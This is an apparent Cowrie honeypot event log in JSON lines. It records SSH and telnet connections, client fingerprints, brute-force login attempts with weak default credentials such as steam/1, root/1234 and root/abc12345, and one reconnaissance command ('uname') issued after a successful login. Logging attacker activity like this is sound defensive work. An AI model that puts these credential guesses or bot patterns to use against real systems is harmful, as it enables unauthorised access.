{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.185398Z","src_ip":"139.19.117.129","session":"e2fdec884406","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.225789Z","src_ip":"31.40.204.166","session":"a2d779ebb260","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:7d:52:82:55:c6:77:45:cd:a3:e7:ca:74:19:22:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvCFB9wIg/ktecULO4CCaPdAAROKvR/o1iHt6HP5aAq5PwWci2DR2JqQI8FO8Sq4Irwiwn6TwFHt0IzxPqndyFmllhL2+1Ib6hTX19HEso4E7ocnte/cpx15en+NyHv0d+6BuatDJHeKrMLElmtf8dny9smb4BgG9SZggT5H6lIT55zTXNZMn0U1GUJz07WbUbAY/KO4ww5WKhmTEwEvHVkGODL3QwudpK8y6KEpyLW1A9JF30fq4SEazj7ZDRDnfCC4B7ZPaTUmBMYxP2OMZol4oBSZMB7Mc5n4wLzKhALGfX2HncCw6R/eqtw5ZXC3eQR3Ln730GKRdMKA+sJ3Cz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:7d:52:82:55:c6:77:45:cd:a3:e7:ca:74:19:22:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.374449Z","src_ip":"139.19.117.129","session":"e2fdec884406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:7d:52:82:55:c6:77:45:cd:a3:e7:ca:74:19:22:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvCFB9wIg/ktecULO4CCaPdAAROKvR/o1iHt6HP5aAq5PwWci2DR2JqQI8FO8Sq4Irwiwn6TwFHt0IzxPqndyFmllhL2+1Ib6hTX19HEso4E7ocnte/cpx15en+NyHv0d+6BuatDJHeKrMLElmtf8dny9smb4BgG9SZggT5H6lIT55zTXNZMn0U1GUJz07WbUbAY/KO4ww5WKhmTEwEvHVkGODL3QwudpK8y6KEpyLW1A9JF30fq4SEazj7ZDRDnfCC4B7ZPaTUmBMYxP2OMZol4oBSZMB7Mc5n4wLzKhALGfX2HncCw6R/eqtw5ZXC3eQR3Ln730GKRdMKA+sJ3Cz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.379633Z","src_ip":"139.19.117.129","session":"e2fdec884406","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:7d:52:82:55:c6:77:45:cd:a3:e7:ca:74:19:22:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvCFB9wIg/ktecULO4CCaPdAAROKvR/o1iHt6HP5aAq5PwWci2DR2JqQI8FO8Sq4Irwiwn6TwFHt0IzxPqndyFmllhL2+1Ib6hTX19HEso4E7ocnte/cpx15en+NyHv0d+6BuatDJHeKrMLElmtf8dny9smb4BgG9SZggT5H6lIT55zTXNZMn0U1GUJz07WbUbAY/KO4ww5WKhmTEwEvHVkGODL3QwudpK8y6KEpyLW1A9JF30fq4SEazj7ZDRDnfCC4B7ZPaTUmBMYxP2OMZol4oBSZMB7Mc5n4wLzKhALGfX2HncCw6R/eqtw5ZXC3eQR3Ln730GKRdMKA+sJ3Cz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:7d:52:82:55:c6:77:45:cd:a3:e7:ca:74:19:22:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.480872Z","src_ip":"139.19.117.129","session":"e2fdec884406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:7d:52:82:55:c6:77:45:cd:a3:e7:ca:74:19:22:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvCFB9wIg/ktecULO4CCaPdAAROKvR/o1iHt6HP5aAq5PwWci2DR2JqQI8FO8Sq4Irwiwn6TwFHt0IzxPqndyFmllhL2+1Ib6hTX19HEso4E7ocnte/cpx15en+NyHv0d+6BuatDJHeKrMLElmtf8dny9smb4BgG9SZggT5H6lIT55zTXNZMn0U1GUJz07WbUbAY/KO4ww5WKhmTEwEvHVkGODL3QwudpK8y6KEpyLW1A9JF30fq4SEazj7ZDRDnfCC4B7ZPaTUmBMYxP2OMZol4oBSZMB7Mc5n4wLzKhALGfX2HncCw6R/eqtw5ZXC3eQR3Ln730GKRdMKA+sJ3Cz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.484832Z","src_ip":"139.19.117.129","session":"e2fdec884406","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.577965Z","src_ip":"31.40.204.166","session":"a2d779ebb260","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.581228Z","src_ip":"31.40.204.166","session":"a2d779ebb260","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.714287Z","src_ip":"31.40.204.166","session":"a2d779ebb260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.719768Z","src_ip":"31.40.204.166","session":"a2d779ebb260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.1828076839447,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:48.700982Z","src_ip":"152.42.224.71","session":"de7210e4d82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.61311316490173,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:49.934311Z","src_ip":"152.42.224.71","session":"eabc452366c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.643427848815918,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:51.874544Z","src_ip":"152.42.224.71","session":"95c40699ef4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.28050184249878,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:54.510386Z","src_ip":"152.42.224.71","session":"28a23700b3a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:55.085443Z","src_ip":"139.19.117.129","session":"e2fdec884406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46618,"dst_ip":"159.203.135.109","dst_port":22,"session":"531bee82f952","protocol":"ssh","message":"New connection: 31.40.204.166:46618 (159.203.135.109:22) [session: 531bee82f952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:55.785499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:55.791137Z","src_ip":"31.40.204.166","session":"531bee82f952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:55.918223Z","src_ip":"31.40.204.166","session":"531bee82f952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:56.393281Z","src_ip":"31.40.204.166","session":"531bee82f952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34534,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f1b61920610","protocol":"telnet","message":"New connection: 152.42.224.71:34534 (10.17.0.5:23) [session: 3f1b61920610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:57.227865Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:57.688826Z","src_ip":"31.40.204.166","session":"531bee82f952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.56961488723755,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:57.860744Z","src_ip":"152.42.224.71","session":"1a4c6fa8567b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00719332695007,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:04.122076Z","src_ip":"152.42.224.71","session":"89442be81764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34544,"dst_ip":"10.17.0.5","dst_port":23,"session":"1880f87542d2","protocol":"telnet","message":"New connection: 152.42.224.71:34544 (10.17.0.5:23) [session: 1880f87542d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:05.690214Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48122,"dst_ip":"159.203.135.109","dst_port":22,"session":"3542924a9f33","protocol":"ssh","message":"New connection: 31.40.204.166:48122 (159.203.135.109:22) [session: 3542924a9f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:07.818694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:07.902539Z","src_ip":"31.40.204.166","session":"3542924a9f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:08.012839Z","src_ip":"31.40.204.166","session":"3542924a9f33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:08.617822Z","src_ip":"31.40.204.166","session":"3542924a9f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:09.810089Z","src_ip":"31.40.204.166","session":"3542924a9f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.152.53.175","src_port":45143,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01dfb6c8cb9","protocol":"telnet","message":"New connection: 183.152.53.175:45143 (10.17.0.5:23) [session: e01dfb6c8cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:13.873233Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49448,"dst_ip":"159.203.135.109","dst_port":22,"session":"597121f34e89","protocol":"ssh","message":"New connection: 31.40.204.166:49448 (159.203.135.109:22) [session: 597121f34e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:20.607194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:20.617660Z","src_ip":"31.40.204.166","session":"597121f34e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:20.783221Z","src_ip":"31.40.204.166","session":"597121f34e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:21.408701Z","src_ip":"31.40.204.166","session":"597121f34e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:22.582805Z","src_ip":"31.40.204.166","session":"597121f34e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.16397213935852,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:25.083271Z","src_ip":"152.42.224.71","session":"365ad05241a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33998,"dst_ip":"10.17.0.5","dst_port":22,"session":"c50931a6ab38","protocol":"ssh","message":"New connection: 89.223.69.22:33998 (10.17.0.5:22) [session: c50931a6ab38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:31.083535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:31.088630Z","src_ip":"89.223.69.22","session":"c50931a6ab38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:31.205009Z","src_ip":"89.223.69.22","session":"c50931a6ab38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alina","message":"login attempt [root/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:31.555624Z","src_ip":"89.223.69.22","session":"c50931a6ab38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47580,"dst_ip":"159.203.135.109","dst_port":22,"session":"003645701d74","protocol":"ssh","message":"New connection: 31.40.204.166:47580 (159.203.135.109:22) [session: 003645701d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:32.484266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:32.489514Z","src_ip":"31.40.204.166","session":"003645701d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:09:32.617705Z","src_ip":"31.40.204.166","session":"003645701d74","protocol":"ssh"}
